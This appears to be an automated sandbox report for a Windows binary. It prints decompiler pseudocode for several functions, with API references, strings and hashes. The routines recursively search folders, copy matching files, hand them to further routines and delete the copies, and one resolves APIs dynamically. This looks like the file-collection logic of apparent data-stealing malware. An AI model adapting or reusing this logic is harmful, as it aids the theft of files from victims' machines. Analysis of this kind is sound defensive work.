C-Code - Quality: 64%

			E004087E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, signed int _a28, signed int _a32, signed int _a36) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				void* _t121;
				signed int _t122;
				int _t124;
				int _t125;
				signed int _t126;
				intOrPtr _t129;
				intOrPtr _t132;
				intOrPtr _t134;
				void* _t146;
				intOrPtr _t200;
				void* _t272;
				void* _t273;
				void* _t274;
				void* _t276;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t273 = _t272 + 0xc;
				_t121 = FindFirstFileA( &_v268,  &_v596); // executed
				_v272 = _t121;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t121;
				}
				do {
					L2:
					_t122 =  *0x41aa4c( &(_v596.cFileName), 0x414010);
					__eflags = _t122;
					if(_t122 == 0) {
						L4:
						goto L22;
					}
					_t126 =  *0x41aa4c( &(_v596.cFileName), 0x414014);
					__eflags = _t126;
					if(_t126 != 0) {
						wsprintfA( &_v860, "%s\%s");
						_t273 = _t273 + 0x10;
						_t129 =  *0x41a534; // 0xa17988
						__eflags =  *0x41aa4c( &(_v596.cFileName), _t129, _a8,  &(_v596.cFileName));
						if(__eflags != 0) {
							_t200 =  *0x41a050; // 0xa17278
							__eflags =  *0x41aa4c( &(_v596.cFileName), _t200);
							if(__eflags != 0) {
								_t132 =  *0x41a5ac; // 0xa178f8
								__eflags =  *0x41aa4c( &(_v596.cFileName), _t132);
								if(__eflags != 0) {
									_t134 =  *0x41a360; // 0xa18a40
									__eflags =  *0x41aa4c( &(_v596.cFileName), _t134);
									if(__eflags != 0) {
										__eflags = _v596.dwFileAttributes & 0x00000010;
										if((_v596.dwFileAttributes & 0x00000010) != 0) {
											E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
											_t273 = _t273 + 0x24;
										}
									} else {
										GetCurrentDirectoryA(0x104,  &_v1388);
										 *0x41aa24( &_v1388, 0x414018);
										_t146 = E0040B8B0( &(_v596.cFileName), __eflags, 8);
										_t274 = _t273 + 4;
										 *0x41aa24( &_v1388, _t146);
										CopyFileA( &_v860,  &_v1388, 1); // executed
										__eflags = _a36;
										if(__eflags != 0) {
											E00408510(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24); // executed
											_t274 = _t274 + 0x18;
										}
										__eflags = _a28;
										if(__eflags != 0) {
											E00408650(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24); // executed
											_t274 = _t274 + 0x18;
										}
										DeleteFileA( &_v1388); // executed
										E0040B720( &_v1388, 0x104);
										E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
										_t273 = _t274 + 0x24;
									}
								} else {
									GetCurrentDirectoryA(0x104,  &_v1124);
									 *0x41aa24( &_v1124, 0x414018);
									 *0x41aa24( &_v1124, E0040B8B0( &(_v596.cFileName), __eflags, 8));
									CopyFileA( &_v860,  &_v1124, 1); // executed
									E004082E0(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24); // executed
									_t276 = _t273 + 0x1c;
									__eflags = _a32;
									if(__eflags != 0) {
										E00408150(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24); // executed
										_t276 = _t276 + 0x18;
									}
									DeleteFileA( &_v1124); // executed
									E0040B720( &_v1124, 0x104);
									E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
									_t273 = _t276 + 0x24;
								}
							} else {
								E00407D50(__eflags,  &_v860, _a4, _a12, _a16, _a20, _a24); // executed
								E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
								_t273 = _t273 + 0x3c;
							}
						} else {
							E00407AC0(_a12, __eflags, _a4,  &_v860, _a12, _a16, _a20); // executed
							E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
							_t273 = _t273 + 0x38;
						}
						E0040B720( &_v860, 0x104);
						goto L22;
					}
					goto L4;
					L22:
					_t124 = FindNextFileA(_v272,  &_v596); // executed
					__eflags = _t124;
				} while (_t124 != 0);
				_t125 = FindClose(_v272); // executed
				return _t125;
			}

0x004087ec
0x004087f9
0x004087ff
0x00408810
0x00408816
0x00408823
0x00000000
0x00000000
0x00000000
0x00000000
0x0040882a
0x0040882a
0x00408836
0x0040883c
0x0040883e
0x00408856
0x00000000
0x00408856
0x0040884c
0x00408852
0x00408854
0x00408872
0x00408878
0x0040887b
0x0040888e
0x00408890
0x004088e8
0x004088fc
0x004088fe
0x0040895a
0x0040896d
0x0040896f
0x00408a68
0x00408a7b
0x00408a7d
0x00408b7f
0x00408b82
0x00408bae
0x00408bb3
0x00408bb3
0x00408a83
0x00408a8f
0x00408aa1
0x00408aa9
0x00408aae
0x00408ab9
0x00408acf
0x00408ad5
0x00408ad9
0x00408af6
0x00408afb
0x00408afb
0x00408afe
0x00408b02
0x00408b1f
0x00408b24
0x00408b24
0x00408b2e
0x00408b40
0x00408b6f
0x00408b74
0x00408b74
0x00408975
0x00408981
0x00408993
0x004089ab
0x004089c1
0x004089e2
0x004089e7
0x004089ea
0x004089ee
0x00408a0b
0x00408a10
0x00408a10
0x00408a1a
0x00408a2c
0x00408a5b
0x00408a60
0x00408a60
0x00408900
0x0040891b
0x0040894d
0x00408952
0x00408952
0x00408892
0x004088a9
0x004088db
0x004088e0
0x004088e0
0x00408bc2
0x00000000
0x00408bc2
0x00000000
0x00408bc7
0x00408bd5
0x00408bdb
0x00408bdb
0x00408bea
0x00000000

APIs

wsprintfA.USER32 ref: 004087F9
FindFirstFileA.KERNEL32(?,?), ref: 00408810
StrCmpCA.SHLWAPI(?,00414010), ref: 00408836
StrCmpCA.SHLWAPI(?,00414014), ref: 0040884C
FindNextFileA.KERNEL32(000000FF,?), ref: 00408BD5
FindClose.KERNEL32(000000FF), ref: 00408BEA

Strings

%s\%s, xrefs: 00408866
%s\*, xrefs: 004087ED

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 864204762c03cb812e489958dcffbbc39fef40720c2155e64fcd8f4357d5c54a
Instruction ID: 0b41a1abc190fb4bcf7a86ba3d7a33f51ad09bf1deba5e068821b47be1bcc9a2
Opcode Fuzzy Hash: 864204762c03cb812e489958dcffbbc39fef40720c2155e64fcd8f4357d5c54a
Instruction Fuzzy Hash: 6FD12EB2500109ABCB14DF94DD84EEB73BDAF8C704F04869DB609A3150EA74EA95CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00405E40, Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 215
filestringCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00405E40(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, char* _a20, int _a24, intOrPtr _a28, int _a32, intOrPtr _a36) {
				char _v5004;
				char _v5268;
				void* _v5272;
				struct _WIN32_FIND_DATAA _v5596;
				char _v5860;
				char _v6124;
				int _v6128;
				char _v6132;
				void* _t73;
				void* _t76;
				int _t77;
				int _t79;
				int _t81;
				int _t85;
				void* _t89;
				int _t91;
				int _t102;
				int _t103;
				int _t104;
				int _t106;
				void* _t157;
				void* _t158;
				void* _t159;

				E004139B0(0x17f0, __ecx);
				wsprintfA( &_v5268, "%s\*");
				_t158 = _t157 + 0xc;
				_t73 = FindFirstFileA( &_v5268,  &_v5596); // executed
				_v5272 = _t73;
				E0040B720( &_v5004, 0x1388);
				_t76 =  *0x41aa24( &_v5004, _a36, _a16);
				if(_v5272 != 0xffffffff) {
					goto L2;
				} else {
					return _t76;
				}
				do {
					L2:
					_t77 =  *0x41aa4c( &(_v5596.cFileName), 0x414010);
					__eflags = _t77;
					if(_t77 == 0) {
						L4:
						goto L25;
					}
					_t81 =  *0x41aa4c( &(_v5596.cFileName), 0x414014);
					__eflags = _t81;
					if(_t81 != 0) {
						wsprintfA( &_v6124, "%s\%s");
						_t159 = _t158 + 0x10;
						_t85 =  *0x41aa4c(_a12, 0x41401a, _a16,  &(_v5596.cFileName));
						__eflags = _t85;
						if(_t85 != 0) {
							__eflags = _a32;
							if(_a32 == 0) {
								wsprintfA( &_v5860, "%s\\%s\\%s", _a4, _a12,  &(_v5596.cFileName));
								_t158 = _t159 + 0x14;
							} else {
								_push( &(_v5596.cFileName));
								_push(_a12);
								wsprintfA( &_v5860, "%s\%s");
								_t158 = _t159 + 0x10;
							}
						} else {
							__eflags = _a32;
							if(_a32 == 0) {
								_push( &(_v5596.cFileName));
								_push(_a4);
								wsprintfA( &_v5860, "%s\%s");
								_t158 = _t159 + 0x10;
							} else {
								wsprintfA( &_v5860, 0x414024,  &(_v5596.cFileName));
								_t158 = _t159 + 0xc;
							}
						}
						_t89 =  *0x41a908( &_v5004);
						__eflags = _t89 - 3;
						if(_t89 <= 3) {
							_t91 = PathMatchSpecA( &(_v5596.cFileName), _a20);
							__eflags = _t91;
							if(_t91 != 0) {
								CopyFileA( &_v6124,  &(_v5596.cFileName), 1);
								E004137C0(_a8,  &_v5860,  &(_v5596.cFileName));
								_t158 = _t158 + 0xc;
								DeleteFileA( &(_v5596.cFileName));
							}
							L23:
							__eflags = _a24;
							if(__eflags != 0) {
								E00405E40(_a4, __eflags, _a4, _a8,  &_v5860,  &_v6124, _a20, _a24, _a28, _a32, _a36);
								_t158 = _t158 + 0x24;
							}
							goto L25;
						}
						_t102 = E0040C090( &_v5004, ",",  &_v6132);
						_t158 = _t158 + 0xc;
						_v6128 = _t102;
						while(1) {
							__eflags = _v6128;
							if(_v6128 == 0) {
								break;
							}
							_t103 =  *0x41a990( &(_v5596.cFileName), _v6128, 0);
							__eflags = _t103;
							if(_t103 == 0) {
								_t106 = PathMatchSpecA( &(_v5596.cFileName), _a20);
								__eflags = _t106;
								if(_t106 != 0) {
									CopyFileA( &_v6124,  &(_v5596.cFileName), 1);
									E004137C0(_a8,  &_v5860,  &(_v5596.cFileName));
									_t158 = _t158 + 0xc;
									DeleteFileA( &(_v5596.cFileName));
								}
							}
							_t104 = E0040C090(0, ",",  &_v6132);
							_t158 = _t158 + 0xc;
							_v6128 = _t104;
						}
						goto L23;
					}
					goto L4;
					L25:
					_t79 = FindNextFileA(_v5272,  &_v5596);
					__eflags = _t79;
				} while (_t79 != 0);
				return FindClose(_v5272);
			}

0x00405e48
0x00405e5d
0x00405e63
0x00405e74
0x00405e7a
0x00405e8c
0x00405e9c
0x00405ea9
0x00000000
0x00000000
0x00000000
0x00000000
0x00405eb0
0x00405eb0
0x00405ebc
0x00405ec2
0x00405ec4
0x00405edc
0x00000000
0x00405edc
0x00405ed2
0x00405ed8
0x00405eda
0x00405ef8
0x00405efe
0x00405f0a
0x00405f10
0x00405f12
0x00405f5a
0x00405f5e
0x00405f9d
0x00405fa3
0x00405f60
0x00405f66
0x00405f6a
0x00405f77
0x00405f7d
0x00405f7d
0x00405f14
0x00405f14
0x00405f18
0x00405f3e
0x00405f42
0x00405f4f
0x00405f55
0x00405f1a
0x00405f2d
0x00405f33
0x00405f33
0x00405f58
0x00405fad
0x00405fb3
0x00405fb6
0x00406084
0x0040608a
0x0040608c
0x0040609e
0x004060b6
0x004060bb
0x004060c5
0x004060c5
0x004060cb
0x004060cb
0x004060cf
0x004060fb
0x00406100
0x00406100
0x00000000
0x004060cf
0x00405fcf
0x00405fd4
0x00405fd7
0x00405fdd
0x00405fdd
0x00405fe4
0x00000000
0x00000000
0x00405ffa
0x00406000
0x00406002
0x0040600f
0x00406015
0x00406017
0x00406029
0x00406041
0x00406046
0x00406050
0x00406050
0x00406017
0x00406064
0x00406069
0x0040606c
0x0040606c
0x00000000
0x00406077
0x00000000
0x00406103
0x00406111
0x00406117
0x00406117
0x00000000

APIs

wsprintfA.USER32 ref: 00405E5D
FindFirstFileA.KERNEL32(?,?,?,00000000,?), ref: 00405E74
lstrcat.KERNEL32(?,?), ref: 00405E9C
StrCmpCA.SHLWAPI(?,00414010), ref: 00405EBC
StrCmpCA.SHLWAPI(?,00414014), ref: 00405ED2
FindNextFileA.KERNEL32(000000FF,?), ref: 00406111
FindClose.KERNEL32(000000FF), ref: 00406126

Strings

%s\%s, xrefs: 00405EEC, 00405F43, 00405F6B
%s\*, xrefs: 00405E51
%s\%s\%s, xrefs: 00405F91

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-1426491737
Opcode ID: da2c885b9076c81ca24cc3c87d12da24a82ebc38fc329cbfdd7a2e0dbf039061
Instruction ID: 0bc9b02d7ab3545e21e8315ee4c466327c2adae897de70d70c4ab632552244ce
Opcode Fuzzy Hash: da2c885b9076c81ca24cc3c87d12da24a82ebc38fc329cbfdd7a2e0dbf039061
Instruction Fuzzy Hash: A88174B5900208EFCB14DFA4DC44DEB73B8EF48745F4486A9F60A96180D7789B94CF56

Uniqueness

Uniqueness Score: -1.00%

Function 00401280, Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 134
fileCOMMON

Download Yara Rule

C-Code - Quality: 20%

			E00401280(intOrPtr _a4, intOrPtr _a8, char* _a12, intOrPtr _a16) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				char _v1652;
				void* _t43;
				int _t46;
				intOrPtr _t66;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t101;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t99 = _t98 + 0xc;
				_t43 = FindFirstFileA( &_v268,  &_v596); // executed
				_v272 = _t43;
				if(_v272 != 0xffffffff) {
					do {
						_push(0x414010);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() == 0) {
							L4:
							goto L11;
						}
						_push(0x414014);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() != 0) {
							_push( &(_v596.cFileName));
							_push(_a8);
							wsprintfA( &_v1124, "%s\%s");
							_t100 = _t99 + 0x10;
							_push(0x41401a);
							_push(_a4);
							if( *0x41aa4c() != 0) {
								_push( &(_v596.cFileName));
								_push(_a4);
								wsprintfA( &_v860, "%s\%s");
								_t101 = _t100 + 0x10;
							} else {
								wsprintfA( &_v860, 0x414024,  &(_v596.cFileName));
								_t101 = _t100 + 0xc;
							}
							if(PathMatchSpecA( &(_v596.cFileName), _a12) != 0) {
								E0040B720( &_v1652, 0x104);
								E0040B720( &_v1388, 0x104);
								 *0x41aa24( &_v1652, _a8);
								 *0x41aa24( &_v1652, 0x414018);
								 *0x41aa24( &_v1652,  &(_v596.cFileName));
								_t66 =  *0x41a5a4; // 0xa16fb8
								 *0x41aa24( &_v1388, _t66);
								 *0x41aa24( &_v1388,  &_v860);
								E004137C0(_a16,  &_v1388,  &_v1652);
								_t101 = _t101 + 0xc;
							}
							E00401280( &_v860,  &_v1124, _a12, _a16); // executed
							_t99 = _t101 + 0x10;
							goto L11;
						}
						goto L4;
						L11:
						_t46 = FindNextFileA(_v272,  &_v596); // executed
					} while (_t46 != 0);
					return FindClose(_v272);
				}
				return _t43;
			}

0x0040128c
0x00401299
0x0040129f
0x004012b0
0x004012b6
0x004012c3
0x004012ca
0x004012ca
0x004012d5
0x004012de
0x004012f6
0x00000000
0x004012f6
0x004012e0
0x004012eb
0x004012f4
0x00401301
0x00401305
0x00401312
0x00401318
0x0040131b
0x00401323
0x0040132c
0x00401352
0x00401356
0x00401363
0x00401369
0x0040132e
0x00401341
0x00401347
0x00401347
0x0040137f
0x00401391
0x004013a2
0x004013b2
0x004013c4
0x004013d8
0x004013de
0x004013eb
0x004013ff
0x00401417
0x0040141c
0x0040141c
0x00401435
0x0040143a
0x00000000
0x0040143a
0x00000000
0x0040143d
0x0040144b
0x00401451
0x00000000
0x00401460
0x00000000

APIs

wsprintfA.USER32 ref: 00401299
FindFirstFileA.KERNELBASE(?,?), ref: 004012B0
StrCmpCA.SHLWAPI(?,00414010), ref: 004012D6
StrCmpCA.SHLWAPI(?,00414014), ref: 004012EC
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040144B
FindClose.KERNEL32(000000FF), ref: 00401460

Strings

%s\%s, xrefs: 00401306, 00401357
%s\*, xrefs: 0040128D

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: ea03afd42e154e9ef041865c6e00ce4689c65ee657b53df87b15a56bb790f481
Instruction ID: 4cd9f1fc2f596726c4666f8bf9c741da0555b1e74a9e6087d7d803036aaf4599
Opcode Fuzzy Hash: ea03afd42e154e9ef041865c6e00ce4689c65ee657b53df87b15a56bb790f481
Instruction Fuzzy Hash: 56518672500218ABCB10DFA0DD48EEA73B8BF4C705F0485A9B609A3150E779EB94CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040C2E0, Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 109
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040C2E0() {
				struct HINSTANCE__* _t1;
				_Unknown_base(*)()* _t2;
				struct HINSTANCE__* _t3;
				_Unknown_base(*)()* _t4;
				CHAR* _t5;
				intOrPtr _t6;
				struct HINSTANCE__* _t8;
				CHAR* _t11;
				struct HINSTANCE__* _t13;
				CHAR* _t16;
				struct HINSTANCE__* _t18;
				CHAR* _t21;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t26;
				CHAR* _t28;
				struct HINSTANCE__* _t29;
				struct HINSTANCE__* _t30;
				CHAR* _t31;
				struct HINSTANCE__* _t32;
				CHAR* _t33;
				struct HINSTANCE__* _t34;
				CHAR* _t35;
				struct HINSTANCE__* _t36;
				CHAR* _t37;
				CHAR* _t38;
				CHAR* _t39;
				intOrPtr _t40;
				struct HINSTANCE__* _t41;
				CHAR* _t42;
				struct HINSTANCE__* _t43;
				CHAR* _t44;
				struct HINSTANCE__* _t45;
				CHAR* _t46;
				struct HINSTANCE__* _t47;

				if( *0x41aa64 != 0) {
					_t6 =  *0x41a1f0; // 0xa00c38
					_t30 =  *0x41aa64; // 0x74df0000
					 *0x41aa14 = E0040C1B0(_t30, _t6);
					_t40 =  *0x41a474; // 0xa00bd8
					_t8 =  *0x41aa64; // 0x74df0000
					 *0x41a970 = E0040C1B0(_t8, _t40);
					_t31 =  *0x41a718; // 0xa00cc8
					_t41 =  *0x41aa64; // 0x74df0000
					 *0x41aa8c = GetProcAddress(_t41, _t31);
					_t11 =  *0x41a33c; // 0x9fec90
					_t32 =  *0x41aa64; // 0x74df0000
					 *0x41a88c = GetProcAddress(_t32, _t11);
					_t42 =  *0x41a5bc; // 0x9fa888
					_t13 =  *0x41aa64; // 0x74df0000
					 *0x41aa68 = GetProcAddress(_t13, _t42);
					_t33 =  *0x41a4b0; // 0xa00c20
					_t43 =  *0x41aa64; // 0x74df0000
					 *0x41a9cc = GetProcAddress(_t43, _t33);
					_t16 =  *0x41a4c8; // 0xa00cf8
					_t34 =  *0x41aa64; // 0x74df0000
					 *0x41a9e4 = GetProcAddress(_t34, _t16);
					_t44 =  *0x41a7d4; // 0xa00c80
					_t18 =  *0x41aa64; // 0x74df0000
					 *0x41a984 = GetProcAddress(_t18, _t44);
					_t35 =  *0x41a324; // 0xa00c68
					_t45 =  *0x41aa64; // 0x74df0000
					 *0x41aa04 = GetProcAddress(_t45, _t35);
					_t21 =  *0x41a6f0; // 0xa00d10
					_t36 =  *0x41aa64; // 0x74df0000
					 *0x41aa78 = GetProcAddress(_t36, _t21);
					_t46 =  *0x41a7b0; // 0x9fa8e8
					_t23 =  *0x41aa64; // 0x74df0000
					 *0x41a9f4 = GetProcAddress(_t23, _t46);
					_t37 =  *0x41a218; // 0x9faac8
					_t47 =  *0x41aa64; // 0x74df0000
					 *0x41aaa0 = GetProcAddress(_t47, _t37);
					_t26 =  *0x41aa64; // 0x74df0000
					 *0x41aa50 = GetProcAddress(_t26, "VirtualAllocExNuma");
				}
				_t28 =  *0x41a0f8; // 0xa00bf0
				_t1 = LoadLibraryA(_t28); // executed
				 *0x41a854 = _t1;
				_t38 =  *0x41a658; // 0xa00e00
				_t2 = LoadLibraryA(_t38); // executed
				 *0x41a934 = _t2;
				if( *0x41a854 != 0) {
					_t5 =  *0x41a594; // 0xa00d28
					_t29 =  *0x41a854; // 0x74b40000
					_t2 = GetProcAddress(_t29, _t5);
					 *0x41a944 = _t2;
				}
				if( *0x41a934 != 0) {
					_t39 =  *0x41a0b8; // 0x9fa728
					_t3 =  *0x41a934; // 0x749a0000
					_t4 = GetProcAddress(_t3, _t39);
					 *0x41a9e0 = _t4;
					return _t4;
				}
				return _t2;
			}

0x0040c2ea
0x0040c2f0
0x0040c2f6
0x0040c305
0x0040c30a
0x0040c311
0x0040c31f
0x0040c324
0x0040c32b
0x0040c338
0x0040c33d
0x0040c343
0x0040c350
0x0040c355
0x0040c35c
0x0040c368
0x0040c36d
0x0040c374
0x0040c381
0x0040c386
0x0040c38c
0x0040c399
0x0040c39e
0x0040c3a5
0x0040c3b1
0x0040c3b6
0x0040c3bd
0x0040c3ca
0x0040c3cf
0x0040c3d5
0x0040c3e2
0x0040c3e7
0x0040c3ee
0x0040c3fa
0x0040c3ff
0x0040c406
0x0040c413
0x0040c41d
0x0040c429
0x0040c429
0x0040c42e
0x0040c435
0x0040c43b
0x0040c440
0x0040c447
0x0040c44d
0x0040c459
0x0040c45b
0x0040c461
0x0040c468
0x0040c46e
0x0040c46e
0x0040c47a
0x0040c47c
0x0040c483
0x0040c489
0x0040c48f
0x00000000
0x0040c48f
0x0040c495

APIs

GetProcAddress.KERNEL32(74DF0000,00A00CC8), ref: 0040C332
GetProcAddress.KERNEL32(74DF0000,009FEC90), ref: 0040C34A
GetProcAddress.KERNEL32(74DF0000,009FA888), ref: 0040C362
GetProcAddress.KERNEL32(74DF0000,00A00C20), ref: 0040C37B
GetProcAddress.KERNEL32(74DF0000,00A00CF8), ref: 0040C393
GetProcAddress.KERNEL32(74DF0000,00A00C80), ref: 0040C3AB
GetProcAddress.KERNEL32(74DF0000,00A00C68), ref: 0040C3C4
GetProcAddress.KERNEL32(74DF0000,00A00D10), ref: 0040C3DC
GetProcAddress.KERNEL32(74DF0000,009FA8E8), ref: 0040C3F4
GetProcAddress.KERNEL32(74DF0000,009FAAC8), ref: 0040C40D
GetProcAddress.KERNEL32(74DF0000,VirtualAllocExNuma), ref: 0040C423
LoadLibraryA.KERNEL32(00A00BF0,?,00406B72), ref: 0040C435
LoadLibraryA.KERNEL32(00A00E00,?,00406B72), ref: 0040C447
GetProcAddress.KERNEL32(74B40000,00A00D28), ref: 0040C468
GetProcAddress.KERNEL32(749A0000,009FA728), ref: 0040C489

Strings

VirtualAllocExNuma, xrefs: 0040C418

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressProc$LibraryLoad
String ID: VirtualAllocExNuma
API String ID: 2238633743-737288162
Opcode ID: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction ID: a0d7b009b4cf0954f7e46bb6ba0f8cea1e563656be094aab1f3a6ea2fda818d0
Opcode Fuzzy Hash: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction Fuzzy Hash: A44165F5523200DFC344DFA8EE8899637B9BB8C251705CA39E50983672D7389561CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 00401090, Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(?), ref: 0040109D
wsprintfA.USER32 ref: 004010B7
FindFirstFileA.KERNELBASE(?,?), ref: 004010CE
StrCmpCA.SHLWAPI(?,00414010), ref: 004010F4
StrCmpCA.SHLWAPI(?,00414014), ref: 0040110A
FindNextFileA.KERNEL32(000000FF,?), ref: 004011D3
FindClose.KERNEL32(000000FF), ref: 004011E8

Strings

%s\%s, xrefs: 004010AB

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Find$File$CloseCurrentDirectoryFirstNextwsprintf
String ID: %s\%s
API String ID: 2809309208-4073750446
Opcode ID: f0159c76561ba8365bb9aa6ad5d25ded7c9edc9d81d80b2b2d7af7a0a2787976
Instruction ID: 7ffd25992613dc01ae9c6896dea76ef306beac36bf0277a1da173af701ae58c0
Opcode Fuzzy Hash: f0159c76561ba8365bb9aa6ad5d25ded7c9edc9d81d80b2b2d7af7a0a2787976
Instruction Fuzzy Hash: C63177B6500218ABCB14DFE0DD88EEA77BCAF4C705F0085AAB609A2150DB78D794CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00409B40, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 183
fileCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00409B40(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				char _v1652;
				char _v1916;
				char _v2180;
				void* _t57;
				int _t60;
				CHAR* _t64;
				CHAR* _t66;
				void* _t78;
				void* _t80;
				void* _t82;
				CHAR* _t106;
				CHAR* _t107;
				CHAR* _t121;
				CHAR* _t122;
				void* _t135;
				void* _t136;
				void* _t143;
				void* _t144;

				wsprintfA( &_v268, "%s\\*.*", _a12);
				_t136 = _t135 + 0xc;
				_t57 = FindFirstFileA( &_v268,  &_v596); // executed
				_v272 = _t57;
				if(_v272 != 0xffffffff) {
					do {
						_push(0x414010);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() == 0) {
							L4:
							goto L12;
						}
						_push(0x414014);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() != 0) {
							_t64 =  *0x41a39c; // 0xa19ad0
							wsprintfA( &_v1124, _t64, _a12,  &(_v596.cFileName), _a4);
							_t66 =  *0x41a6d4; // 0xa18de8
							wsprintfA( &_v1652, _t66,  &_v1124);
							_t121 =  *0x41a59c; // 0xa19aa0
							wsprintfA( &_v1388, _t121, _a12,  &(_v596.cFileName), _a4);
							_t122 =  *0x41a6d4; // 0xa18de8
							wsprintfA( &_v2180, _t122,  &_v1388);
							_t106 =  *0x41a1d8; // 0xa008d8
							wsprintfA( &_v1916, _t106, _a12,  &(_v596.cFileName), _a4);
							_t107 =  *0x41a6d4; // 0xa18de8
							wsprintfA( &_v860, _t107,  &_v1916);
							_t78 = E0040BB70( &_v1652); // executed
							_t143 = _t136 + 0x64;
							if(_t78 != 0) {
								E00409970( &_v1124, _a8, _a16,  &(_v596.cFileName), _a20);
								_t143 = _t143 + 0x14;
							}
							_t80 = E0040BB70( &_v2180); // executed
							_t144 = _t143 + 4;
							if(_t80 != 0) {
								E00409970( &_v1388, _a8, _a16,  &(_v596.cFileName), _a20);
								_t144 = _t144 + 0x14;
							}
							_t82 = E0040BB70( &_v860); // executed
							_t136 = _t144 + 4;
							if(_t82 != 0) {
								E00409970( &_v1916, _a8, _a16,  &(_v596.cFileName), _a20);
								_t136 = _t136 + 0x14;
							}
							E0040B720( &_v1124, 0x104);
							E0040B720( &_v1652, 0x104);
							E0040B720( &_v1388, 0x104);
							E0040B720( &_v2180, 0x104);
							E0040B720( &_v1916, 0x104);
							E0040B720( &_v860, 0x104);
							goto L12;
						}
						goto L4;
						L12:
						_t60 = FindNextFileA(_v272,  &_v596); // executed
					} while (_t60 != 0);
					return FindClose(_v272);
				}
				return _t57;
			}

0x00409b59
0x00409b5f
0x00409b70
0x00409b76
0x00409b83
0x00409b8a
0x00409b8a
0x00409b95
0x00409b9e
0x00409bb6
0x00000000
0x00409bb6
0x00409ba0
0x00409bab
0x00409bb4
0x00409bca
0x00409bd7
0x00409be7
0x00409bf4
0x00409c0c
0x00409c1a
0x00409c2a
0x00409c38
0x00409c50
0x00409c5e
0x00409c6e
0x00409c7c
0x00409c8c
0x00409c91
0x00409c96
0x00409cb2
0x00409cb7
0x00409cb7
0x00409cc1
0x00409cc6
0x00409ccb
0x00409ce7
0x00409cec
0x00409cec
0x00409cf6
0x00409cfb
0x00409d00
0x00409d1c
0x00409d21
0x00409d21
0x00409d30
0x00409d41
0x00409d52
0x00409d63
0x00409d74
0x00409d85
0x00000000
0x00409d85
0x00000000
0x00409d8a
0x00409d98
0x00409d9e
0x00000000
0x00409dad
0x00000000

APIs

wsprintfA.USER32 ref: 00409B59
FindFirstFileA.KERNELBASE(?,?), ref: 00409B70
StrCmpCA.SHLWAPI(?,00414010), ref: 00409B96
StrCmpCA.SHLWAPI(?,00414014), ref: 00409BAC
